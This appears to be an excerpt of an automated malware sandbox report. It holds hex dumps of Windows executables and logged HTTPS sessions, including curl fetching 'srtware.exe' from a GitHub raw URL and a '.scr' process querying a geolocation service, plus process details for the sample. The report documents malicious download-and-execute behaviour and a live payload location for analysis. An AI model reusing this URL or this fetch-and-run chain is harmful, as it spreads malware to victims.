                                                                                                                      Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
                                                                                                                      Last-Modified: Fri, 17 May 2024 19:23:02 GMT
                                                                                                                      ETag: "285c00-618ab47b95f4c"
                                                                                                                      Accept-Ranges: bytes
                                                                                                                      Content-Length: 2644992
                                                                                                                      Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 a5 7e 2a 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 66 00 00 00 f2 27 00 00 00 00 00 40 11 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 28 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 90 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 80 28 00 80 01 00 00 00 00 00 00 00 00 00 00 00 b0 28 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 80 00 00 28 00 00 00 10 84 [TRUNCATED]
                                                                                                                      Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd~*g"f'@@(`<((x(8(X.textdf `.rdataj@@.dataP''@.pdata(T(@@.00cfg(V(@@.tls(X(@.relocx(Z(@B
                                                                                                                      Nov 23, 2024 21:09:23.679466009 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 48 83 ec 20 48 8b 05 1c 70 00 00 c7 00 01 00 00 00 48 8b 05 17 70 00 00 c7 00 01 00 00 00 48 8b 05 12 70 00 00 c7 00 01 00 00 00 48 8b 0d d5 6f 00 00 0f b7 11 31 c0 81 fa
                                                                                                                      Data Ascii: VH HpHpHpHo1MZuKHcQ<<PEu>HQtu'ytr!HrH19Ho9`(XbHo00Ho00H,o8uH
                                                                                                                      Nov 23, 2024 21:09:23.679482937 CET1236INData Raw: 00 00 c0 78 37 07 e8 cd fe ff ff c7 05 2f 8b 00 00 79 6b b4 4a e8 be fe ff ff c7 05 20 8b 00 00 29 87 06 3c e8 af fe ff ff c7 05 11 8b 00 00 2d e4 cf a7 e8 a0 fe ff ff c7 05 02 8b 00 00 bb 3f 1a 24 e8 91 fe ff ff c7 05 f3 8a 00 00 a2 69 a1 6d e8
                                                                                                                      Data Ascii: x7/ykJ )<-?$ims4cdi$<U<RsFk7b<*(j{.l[n]2v?N
                                                                                                                      Nov 23, 2024 21:09:23.679500103 CET1236INData Raw: 00 48 83 c4 20 48 83 c3 08 48 39 fb 72 d2 8b 05 54 58 28 00 85 c0 7e 67 bf 10 00 00 00 48 8b 15 3c 58 28 00 31 db 48 8d 75 f8 4c 8b 35 a7 79 00 00 eb 1c 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 48 ff c3 48 63 c8 48 83 c7 28 48 39 cb 7d 30 44 8b 44
                                                                                                                      Data Ascii: H HH9rTX(~gH<X(1HuL5yffff.HHcH(H9}0DD:EtHL:H:H IAH HW(W(He[_^A\A]A^A_]S[HH;yiaL5eL=gAHuIffffff.HH9!KA
                                                                                                                      Nov 23, 2024 21:09:23.679514885 CET896INData Raw: e1 31 db b9 08 00 00 00 31 d2 e8 ad 55 00 00 48 85 c0 0f 84 a7 00 00 00 48 83 f8 01 75 40 ba 01 00 00 00 b9 08 00 00 00 e8 8f 55 00 00 84 db 0f 85 c7 00 00 00 e8 d2 f9 ff ff e9 bd 00 00 00 3d 02 00 00 80 0f 84 b2 00 00 00 3d 05 00 00 c0 74 46 3d
                                                                                                                      Data Ascii: 11UHHu@U==tF=a=uP1AUHt?Hud'Ue1UHtHuCT=HR(HtHp(HH [_^H1
                                                                                                                      Nov 23, 2024 21:09:23.761116982 CET1236INData Raw: 48 85 ff 74 7c 8b 0f ff d3 48 89 c6 41 ff d6 85 c0 75 e9 48 85 f6 74 e4 48 8b 47 08 48 89 f1 ff 15 ff 6d 28 00 eb d5 48 8d 0d 16 50 28 00 ff 15 30 71 00 00 8b 05 02 50 28 00 83 f8 01 75 4f 48 8b 0d 26 50 28 00 48 85 c9 74 12 90 48 8b 71 10 e8 27
                                                                                                                      Data Ascii: Ht|HAuHtHGHm(HP(0qP(uOH&P(HtHq'RHHuHP(O(HO(pHO(pH([_^A^VH QHIHHH ^1MZuHcQ<<PEuL1
                                                                                                                      Nov 23, 2024 21:09:23.761140108 CET1236INData Raw: c0 00 00 00 48 c7 44 24 58 00 00 00 00 48 c7 44 24 68 00 00 00 00 48 c7 84 24 d0 00 00 00 00 00 00 00 48 c7 84 24 98 00 00 00 00 00 00 00 4c 8d 8c 24 98 00 00 00 b9 05 00 00 00 31 d2 45 31 c0 e8 60 ee ff ff 85 c0 0f 88 ef 00 00 00 48 8b 3c 25 40
                                                                                                                      Data Ascii: HD$XHD$hH$H$L$1E1`H<%@=aK(H$8=aL(tZfo=L(f%^f-^f%L(~-L(f%^f-^fL(L(-fL(L(HK(AH&L$00f
                                                                                                                      Nov 23, 2024 21:09:23.761157036 CET1236INData Raw: 00 00 00 00 00 48 c7 84 24 c8 00 00 00 60 00 00 00 c7 44 24 28 04 00 00 00 c7 44 24 20 00 30 00 00 48 8d 9c 24 88 00 00 00 48 8d b4 24 c8 00 00 00 48 c7 c1 ff ff ff ff 48 89 da 45 31 c0 49 89 f1 e8 d7 e8 ff ff 48 8b 84 24 88 00 00 00 48 c7 00 68
                                                                                                                      Data Ascii: H$`D$(D$ 0H$H$HHE1IH$HhH@LxHxH@(H@0HL$XHH8H@HH@PHL$hHHXH$1HAHQHD$PH$HD$HLd$@$D$8t$ D$0AAzH
                                                                                                                      Nov 23, 2024 21:09:23.761183023 CET1236INData Raw: 73 2e 44 8d 40 85 41 80 f8 e6 73 34 44 8d 40 c6 41 80 f8 f6 73 2f 41 b8 3f 00 00 00 83 f8 2f 74 03 45 31 c0 83 f8 2b 45 0f 44 c1 eb 26 0f 1f 00 83 c0 bf eb 1b 66 66 2e 0f 1f 84 00 00 00 00 00 83 c0 b9 eb 0b 83 c0 04 0f 1f 84 00 00 00 00 00 41 89
                                                                                                                      Data Ascii: s.D@As4D@As/A?/tE1+ED&ff.AFT3AB<s/AB<s7AB<s5?A/t1A+AD+Af.AAfDDFT3EZAs-EZAs3EZAs/A?A/tE1A+ED#A
                                                                                                                      Nov 23, 2024 21:09:23.799104929 CET1236INData Raw: 00 00 00 00 c7 44 24 28 80 00 00 00 48 c7 44 24 20 00 00 00 00 4c 89 e9 ba 16 01 12 00 49 89 e8 49 89 f1 e8 c6 de ff ff 85 c0 78 0a 48 8b 4c 24 78 e8 f4 de ff ff 42 0f b7 44 3b 02 66 85 c0 0f 85 9d fe ff ff eb 46 c6 05 e0 3d 28 00 01 48 b8 49 00
                                                                                                                      Data Ascii: D$(HD$ LIIxHL$xBD;fF=(HI,,IH=(f=(H]<(==(H$AH1>=<(=<(t<~<(fPfOf<(<(f|<(w
                                                                                                                      Nov 23, 2024 21:09:23.799160004 CET1236INData Raw: 24 38 45 8b 45 0c 49 01 f0 48 c7 44 24 20 00 00 00 00 e8 99 da ff ff 44 89 f0 83 e0 fe 83 f8 04 74 86 41 8b 45 04 48 03 44 24 38 48 89 44 24 70 41 8b 45 00 48 89 44 24 58 48 8b 4c 24 40 48 8d 44 24 6c 48 89 44 24 20 48 8d 54 24 70 4c 8d 44 24 58
                                                                                                                      Data Ascii: $8EEIHD$ DtAEHD$8HD$pAEHD$XHL$@HD$lHD$ HT$pLD$XEsIH|$pAH1:$HL$HHxpBD>(HD$8H$HL$HHT$pHL$@xKH$HHD$ LD$8AxHL$H1HL$


                                                                                                                      HTTPS Proxied Packets

                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                      0192.168.2.749745185.199.109.1334437944C:\Windows\SysWOW64\curl.exe
                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                      2024-11-23 20:09:30 UTC133OUTGET /huuuuggga/aaaaa1/refs/heads/main/srtware.exe HTTP/1.1
                                                                                                                      Host: raw.githubusercontent.com
                                                                                                                      User-Agent: curl/7.83.1
                                                                                                                      Accept: */*
                                                                                                                      2024-11-23 20:09:30 UTC902INHTTP/1.1 200 OK
                                                                                                                      Connection: close
                                                                                                                      Content-Length: 417280
                                                                                                                      Cache-Control: max-age=300
                                                                                                                      Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
                                                                                                                      Content-Type: application/octet-stream
                                                                                                                      ETag: "317a45bef0b556adbe5e601409666cbbdee656971c85702b16476b51d63291d3"
                                                                                                                      Strict-Transport-Security: max-age=31536000
                                                                                                                      X-Content-Type-Options: nosniff
                                                                                                                      X-Frame-Options: deny
                                                                                                                      X-XSS-Protection: 1; mode=block
                                                                                                                      X-GitHub-Request-Id: D5F4:2C4F6E:8946C8:93E099:67423679
                                                                                                                      Accept-Ranges: bytes
                                                                                                                      Date: Sat, 23 Nov 2024 20:09:30 GMT
                                                                                                                      Via: 1.1 varnish
                                                                                                                      X-Served-By: cache-nyc-kteb1890064-NYC
                                                                                                                      X-Cache: MISS
                                                                                                                      X-Cache-Hits: 0
                                                                                                                      X-Timer: S1732392570.289288,VS0,VE100
                                                                                                                      Vary: Authorization,Accept-Encoding,Origin
                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                      Cross-Origin-Resource-Policy: cross-origin
                                                                                                                      X-Fastly-Request-ID: c247d1b023eeac1fa911e324953ca181d451e932
                                                                                                                      Expires: Sat, 23 Nov 2024 20:14:30 GMT
                                                                                                                      Source-Age: 0
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 72 32 a6 39 36 53 c8 6a 36 53 c8 6a 36 53 c8 6a 3f 2b 5b 6a 26 53 c8 6a 30 d2 cd 6b 2a 53 c8 6a 30 d2 cc 6b 3c 53 c8 6a 30 d2 cb 6b 3e 53 c8 6a 30 d2 c9 6b 30 53 c8 6a 7d 2b c9 6b 3b 53 c8 6a 36 53 c9 6a 82 53 c8 6a 5b d2 c1 6b 26 53 c8 6a 5b d2 37 6a 37 53 c8 6a 5b d2 ca 6b 37 53 c8 6a 52 69 63 68 36 53 c8 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                      Data Ascii: MZ@!L!This program cannot be run in DOS mode.$r296Sj6Sj6Sj?+[j&Sj0k*Sj0k<Sj0k>Sj0k0Sj}+k;Sj6SjSj[k&Sj[7j7Sj[k7SjRich6Sj
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: d0 f3 44 0f 10 07 41 0f 28 f5 44 0f c6 d8 01 f3 44 0f 5c c1 f3 41 0f 59 f6 0f 28 c1 f3 0f 10 0d 3a 0d 06 00 45 0f 28 cb 0f c6 c0 55 f3 0f 5c e0 f3 0f 59 df 41 0f 28 c4 f3 44 0f 59 cf f3 41 0f 59 c6 0f 28 d3 f3 41 0f 59 d5 f3 41 0f 59 c0 f3 0f 59 f4 f3 41 0f 59 dc f3 0f 58 f0 0f 28 c5 f3 0f 59 c7 f3 0f 58 f0 41 0f 28 c3 f3 41 0f 59 c4 f3 0f 5f 35 76 72 04 00 f3 0f 58 d0 41 0f 28 c3 f3 41 0f 59 c5 f3 0f 5c d8 f3 0f 59 d4 41 0f 28 c2 f3 41 0f 59 c6 f3 41 0f 59 d8 f3 0f 59 c5 f3 0f 58 d3 f3 0f 5c d0 0f 28 c1 f3 0f 59 05 44 72 04 00 f3 0f 59 d0 f3 0f 5e d6 f3 0f 58 d1 f3 45 0f 59 de 4c 8d 9c 24 c0 00 00 00 b0 01 44 0f 28 74 24 30 41 0f 28 c1 49 8b 5b 10 41 0f 28 7b e0 f3 0f 11 16 41 0f 28 d2 f3 41 0f 59 d4 f3 41 0f 59 c5 f3 45 0f 59 cc 45 0f 28 63 90 f3 0f 5c
                                                                                                                      Data Ascii: DA(DD\AY(:E(U\YA(DYAY(AYAYYAYX(YXA(AY_5vrXA(AY\YA(AYAYYX\(YDrY^XEYL$D(t$0A(I[A({A(AYAYEYE(c\
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 0f c6 fa ff 0f 28 f7 f3 41 0f 5c f1 f3 41 0f 59 f6 48 8d 4d c8 e8 62 39 00 00 0f 28 c6 f3 41 0f 58 c0 f3 0f 11 44 24 60 f3 44 0f 11 4c 24 64 45 0f c6 d2 aa f3 44 0f 5c d6 f3 44 0f 11 54 24 68 f3 0f 11 7c 24 6c f3 44 0f 11 5c 24 30 f3 44 0f 11 64 24 20 44 8b c8 4c 8d 44 24 60 48 8d 54 24 68 48 8b cf e8 a3 66 02 00 66 41 0f 6f c0 66 0f 73 d8 08 66 0f 7e c1 b8 1f 85 eb 51 f7 e9 c1 fa 05 8b c2 c1 e8 1f 03 d0 48 8d 4c 24 78 e8 5a 02 00 00 90 48 8b 4d 88 48 8b 55 90 48 3b ca 73 1f 48 8d 41 01 48 89 45 88 48 8d 44 24 78 48 83 fa 0f 48 0f 47 44 24 78 66 c7 04 08 6d 00 eb 0d 41 b1 6d 48 8d 4c 24 78 e8 00 04 00 00 0f 10 44 24 78 0f 11 45 a0 0f 10 4d 88 0f 11 4d b0 4c 89 7d 88 48 c7 45 90 0f 00 00 00 c6 44 24 78 00 4c 8d 45 a0 66 49 0f 7e c1 66 0f 73 d9 08 66 49 0f
                                                                                                                      Data Ascii: (A\AYHMb9(AXD$`DL$dED\DT$h|$lD\$0Dd$ DLD$`HT$hHffAofsf~QHL$xZHMHUH;sHAHEHD$xHHGD$xfmAmHL$xD$xEMML}HED$xLEfI~fsfI
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 80 48 83 c1 27 e8 40 de 03 00 48 85 c0 74 7a 48 8d 78 27 48 83 e7 e0 48 89 47 f8 eb 14 48 85 c0 74 0d 48 8b c8 e8 20 de 03 00 48 8b f8 eb 02 33 ff 4c 89 66 10 4d 8b c6 48 89 5e 18 48 8b cf 48 83 fd 0f 76 4b 48 8b 1e 48 8b d3 e8 66 fb 03 00 48 8d 55 01 45 88 3c 3e 41 c6 44 3e 01 00 48 81 fa 00 10 00 00 72 18 48 8b 4b f8 48 83 c2 27 48 2b d9 48 8d 43 f8 48 83 f8 1f 77 0d 48 8b d9 48 8b cb e8 bb dd 03 00 eb 19 ff 15 33 07 04 00 cc 48 8b d6 e8 1e fb 03 00 45 88 3c 3e 41 c6 44 3e 01 00 48 89 3e 48 8b c6 48 8b 7c 24 60 48 8b 6c 24 58 4c 8b 64 24 20 48 83 c4 28 41 5f 41 5e 5e 5b c3 e8 93 f7 ff ff cc e8 ed f6 ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 55 48 8d 6c 24 a9 48 81 ec d0 00 00 00 0f 29 b4 24 c0 00 00 00 48 8b 05 1f d3 04 00 48 33 c4 48
                                                                                                                      Data Ascii: H'@HtzHx'HHGHtH H3LfMH^HHvKHHfHUE<>AD>HrHKH'H+HCHwHH3HE<>AD>H>HH|$`Hl$XLd$ H(A_A^^[H\$UHl$H)$HH3H
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 00 45 8d 4e 08 48 81 c2 60 01 00 00 4c 89 75 e8 4c 8d 45 e8 4c 89 75 f0 48 89 44 24 20 ff 15 7d ff 03 00 48 8b 55 e8 48 89 15 62 fd 05 00 48 85 d2 0f 84 1a 0c 00 00 48 8b 0d ca fb 05 00 48 8d 45 e0 48 83 c2 38 48 89 44 24 20 45 8d 4e 08 4c 89 75 d8 4c 8d 45 d8 4c 89 75 e0 ff 15 3f ff 03 00 48 8b 55 d8 48 89 15 0c fd 05 00 48 85 d2 0f 84 dc 0b 00 00 48 8b 0d 8c fb 05 00 48 8d 45 f0 45 8d 4e 08 48 89 44 24 20 4c 8d 45 e8 4c 89 75 e8 4c 89 75 f0 ff 15 05 ff 03 00 48 8b 55 e8 48 89 15 fa fc 05 00 48 85 d2 0f 84 a2 0b 00 00 48 8b 0d 52 fb 05 00 48 8d 45 e0 48 83 c2 30 48 89 44 24 20 45 8d 4e 08 4c 89 75 d8 4c 8d 45 d8 4c 89 75 e0 ff 15 c7 fe 03 00 48 8b 55 d8 48 89 15 34 fb 05 00 48 85 d2 0f 84 64 0b 00 00 48 8b 0d 14 fb 05 00 48 8d 45 f0 48 81 c2 d0 03 00 00
                                                                                                                      Data Ascii: ENH`LuLELuHD$ }HUHbHHHEH8HD$ ENLuLELu?HUHHHHEENHD$ LELuLuHUHHHRHEH0HD$ ENLuLELuHUH4HdHHEH
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 05 c1 ef 05 00 48 8d 45 50 48 89 44 24 20 f2 0f 11 05 a8 ef 05 00 4c 89 74 24 78 44 89 75 80 4c 89 75 50 ff 15 15 fa 03 00 8b 45 80 45 8d 4e 04 48 8b 15 ff f7 05 00 4c 8d 45 f8 f2 0f 10 44 24 78 48 81 c2 28 02 00 00 48 8b 0d 57 f6 05 00 89 44 24 48 48 8d 45 58 48 89 44 24 20 f2 0f 11 44 24 40 44 89 75 f8 4c 89 75 58 ff 15 ce f9 03 00 f3 0f 10 45 f8 f3 0f 59 05 6d 5d 04 00 f3 0f 59 05 91 5c 04 00 41 0f 2f c5 f3 0f 11 44 24 4c 73 0e f3 0f 58 05 61 5d 04 00 f3 0f 11 44 24 4c 44 39 35 a8 f7 05 00 0f 28 ce 0f 10 44 24 40 41 8b fe c7 05 fb ee 05 00 ff ff 7f 7f f3 44 0f 10 35 0a 5d 04 00 41 0f 14 cd 0f 11 05 17 ef 05 00 4c 89 35 d8 ee 05 00 f2 0f 11 0d 18 ef 05 00 f3 44 0f 11 35 17 ef 05 00 0f 8e cc 04 00 00 48 89 b4 24 48 02 00 00 44 0f 29 bc 24 90 01 00 00 f3
                                                                                                                      Data Ascii: HEPHD$ Lt$xDuLuPEENHLED$xH(HWD$HHEXHD$ D$@DuLuXEYm]Y\A/D$LsXa]D$LD95(D$@AD5]AL5D5H$HD)$
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: f2 05 00 0f 8c db fb ff ff 44 0f 28 bc 24 90 01 00 00 44 0f 28 a4 24 c0 01 00 00 44 0f 28 9c 24 d0 01 00 00 44 0f 28 94 24 e0 01 00 00 44 0f 28 8c 24 f0 01 00 00 44 0f 28 84 24 00 02 00 00 0f 28 bc 24 10 02 00 00 48 8b b4 24 48 02 00 00 48 8b 9c 24 40 02 00 00 b9 02 00 00 00 ff 15 6a f5 03 00 44 0f 28 b4 24 a0 01 00 00 48 8b bc 24 50 02 00 00 66 85 c0 0f 84 f2 00 00 00 44 38 35 e9 c3 04 00 0f 84 e5 00 00 00 f3 0f 10 15 bb e9 05 00 41 0f 28 cd 41 0f 2e d5 f3 0f 10 1d af e9 05 00 f3 0f 10 2d bf c3 04 00 f3 0f 10 25 63 59 04 00 f3 0f 10 35 63 57 04 00 74 3e f3 0f 10 05 b1 f1 05 00 0f 2f d0 76 0c 0f 28 c8 f3 0f 5c ca 0f 57 cc eb 07 0f 28 ca f3 0f 5c c8 f3 0f 5e cd 0f 28 d1 f3 0f 58 d0 f3 0f 59 c6 0f 2f d0 77 06 41 0f 2f d5 73 04 41 0f 28 cd 41 0f 2e dd 41 0f
                                                                                                                      Data Ascii: D($D($D($D($D($D($($H$HH$@jD($H$PfD85A(A.-%cY5cWt>/v(\W(\^(XY/wA/sA(A.A
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 18 4c 89 4c 24 20 53 57 48 83 ec 38 b9 01 00 00 00 48 8d 7c 24 58 ff 15 76 f2 03 00 48 8b d8 e8 ae ff ff ff 4c 8b 44 24 50 45 33 c9 48 8b d3 48 89 7c 24 20 48 8b 08 ff 15 35 f2 03 00 48 83 c4 38 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 53 56 57 48 83 ec 30 48 8b da 48 8d 74 24 60 48 8b f9 e8 6a ff ff ff 48 89 74 24 28 4c 8b cb 49 c7 c0 ff ff ff ff 48 c7 44 24 20 00 00 00 00 48 8b d7 48 8b 08 ff 15 16 f2 03 00 48 83 c4 30 5f 5e 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 48 8b f9 b8 ff ff ff ff b9 8c 00 00 00 48 0f bf c0 66 f3 ab 48 8b 8b 20 01 00 00 33 ff 48 85 c9 74 26 48 8b 05 62 eb 05 00 48 89 bb 18 01 00 00 48 85 c0 74 06 ff 88 f0 00 00 00 ff 15 72 f0 03
                                                                                                                      Data Ascii: LL$ SWH8H|$XvHLD$PE3HH|$ H5H8_[HT$LD$LL$ SVWH0HHt$`HjHt$(LIHD$ HHH0_^[H\$WH HHHfH 3Ht&HbHHtr
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 00 00 89 af 40 4a 00 00 c7 87 4c 4a 00 00 ff ff 7f 7f c7 87 48 4a 00 00 ff ff 7f 7f c7 87 44 4a 00 00 ff ff 7f 7f 48 89 af 7c 4a 00 00 48 89 af 84 4a 00 00 48 89 af ac 4a 00 00 48 89 af a0 4a 00 00 89 af a8 4a 00 00 0f 11 87 b8 4a 00 00 0f 11 87 c8 4a 00 00 66 89 87 d8 4a 00 00 c7 87 b4 4a 00 00 ff ff ff ff 88 87 da 4a 00 00 48 89 af e0 4a 00 00 48 89 af e8 4a 00 00 48 89 af 10 4b 00 00 48 89 af 18 4b 00 00 48 89 af 38 4b 00 00 48 89 af 40 4b 00 00 48 89 af 58 4b 00 00 48 89 af 60 4b 00 00 48 89 af 68 4b 00 00 48 89 af 70 4b 00 00 48 89 af 78 4b 00 00 48 89 af 80 4b 00 00 48 89 af 88 4b 00 00 48 89 af 90 4b 00 00 48 89 af 98 4b 00 00 48 89 af a0 4b 00 00 48 89 af a8 4b 00 00 48 89 af b8 4b 00 00 48 89 af c0 4b 00 00 48 89 af c8 4b 00 00 48 89 af d0 4b 00
                                                                                                                      Data Ascii: @JLJHJDJH|JHJHJHJJJJfJJJHJHJHKHKH8KH@KHXKH`KHhKHpKHxKHKHKHKHKHKHKHKHKHKHK
                                                                                                                      2024-11-23 20:09:30 UTC1378INData Raw: 49 00 00 89 af 8c 49 00 00 c7 87 50 4a 00 00 00 12 00 00 c7 87 54 4a 00 00 00 32 00 00 48 89 af 68 4a 00 00 48 89 af 60 4a 00 00 48 89 af 58 4a 00 00 48 89 af 70 4a 00 00 c6 87 78 4a 00 00 00 89 af 8c 4a 00 00 66 c7 87 91 4a 00 00 00 00 c6 87 90 4a 00 00 00 89 af 94 4a 00 00 48 c7 87 98 4a 00 00 ff ff ff ff 48 89 af f0 4a 00 00 48 89 af f8 4a 00 00 89 af 00 4b 00 00 c7 87 04 4b 00 00 ff ff ff ff 89 af 08 4b 00 00 0f 57 c0 0f 11 87 20 4b 00 00 89 af 30 4b 00 00 48 89 af 48 4b 00 00 89 af 50 4b 00 00 48 89 af b0 4b 00 00 48 89 af 10 4c 00 00 48 89 af 00 4c 00 00 48 89 af 08 4c 00 00 48 89 af 18 4c 00 00 89 af 48 5b 00 00 48 c7 87 4c 5b 00 00 00 00 90 0a 48 89 af 54 5b 00 00 48 89 af 5c 5b 00 00 48 89 af a4 5b 00 00 66 c7 87 ac 5b 00 00 00 00 89 af b0 5b 00
                                                                                                                      Data Ascii: IIPJTJ2HhJH`JHXJHpJxJJfJJJHJHJHJKKKW K0KHHKPKHKHLHLHLHLH[HL[HT[H\[H[f[[


                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                      1192.168.2.749756104.26.0.1004438024C:\Users\gbcd\fff.scr
                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                      2024-11-23 20:09:35 UTC76OUTGET /v1/ip/geo.json HTTP/1.1
                                                                                                                      Host: get.geojs.io
                                                                                                                      Connection: Keep-Alive
                                                                                                                      2024-11-23 20:09:35 UTC1103INHTTP/1.1 200 OK
                                                                                                                      Date: Sat, 23 Nov 2024 20:09:35 GMT
                                                                                                                      Content-Type: application/json
                                                                                                                      Transfer-Encoding: chunked
                                                                                                                      Connection: close
                                                                                                                      x-request-id: c5d72d0b17c99949359c3864f6418df0-ASH
                                                                                                                      strict-transport-security: max-age=15552000; includeSubDomains; preload
                                                                                                                      access-control-allow-origin: *
                                                                                                                      access-control-allow-methods: GET
                                                                                                                      pragma: no-cache
                                                                                                                      Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                      geojs-backend: ash-01
                                                                                                                      cf-cache-status: DYNAMIC
                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RqpI%2B%2BT0W6Ro%2BQ83mcovOuQRk0RyMGQmMDjb68dU3NCL7vyc5h8qcGyiB6kX%2BFByYbzrK%2FDbPSAiIWcr8k2O862mZoVwa8Av%2FMqshPxKaJJVoF2WYNdt4eghzAMIKg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                      X-Content-Type-Options: nosniff
                                                                                                                      Server: cloudflare
                                                                                                                      CF-RAY: 8e73cc3bbc0f9e16-EWR
                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                      server-timing: cfL4;desc="?proto=TCP&rtt=2019&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=690&delivery_rate=1259163&cwnd=200&unsent_bytes=0&cid=464e4e7eaf6e34c6&ts=491&x=0"
                                                                                                                      2024-11-23 20:09:35 UTC266INData Raw: 31 34 35 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 61 63 63 75 72 61 63 79 22 3a 32 30 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 41 53 33 33 35 36 20 4c 45 56 45 4c 33 22 2c 22 61 72 65 61 5f 63 6f 64 65 22 3a 22 30 22 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 22 55 53 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65
                                                                                                                      Data Ascii: 145{"ip":"8.46.123.75","timezone":"America\/New_York","accuracy":20,"city":"New York","asn":3356,"organization":"AS3356 LEVEL3","area_code":"0","organization_name":"LEVEL3","country_code":"US","country_code3":"USA","continent_code":"NA","country":"Unite
                                                                                                                      2024-11-23 20:09:35 UTC66INData Raw: 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 32 33 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 38 22 7d 0a 0d 0a
                                                                                                                      Data Ascii: region":"New York","latitude":"40.7123","longitude":"-74.0068"}
                                                                                                                      2024-11-23 20:09:35 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                      Data Ascii: 0


                                                                                                                      Statistics

                                                                                                                      CPU Usage

                                                                                                                      Click to jump to process

                                                                                                                      Memory Usage

                                                                                                                      Click to jump to process

                                                                                                                      High Level Behavior Distribution

                                                                                                                      Click to dive into process behavior distribution

                                                                                                                      Behavior

                                                                                                                      Click to jump to process

                                                                                                                      System Behavior

                                                                                                                      General

                                                                                                                      Target ID:0
                                                                                                                      Start time:15:09:01
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Users\user\Desktop\ZOL2mIYAUH.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Users\user\Desktop\ZOL2mIYAUH.exe"
                                                                                                                      Imagebase:0x1c0000
                                                                                                                      File size:1'144'320 bytes
                                                                                                                      MD5 hash:12395D08DC0BFE12E63605328DDD982F
                                                                                                                      Has elevated privileges:true
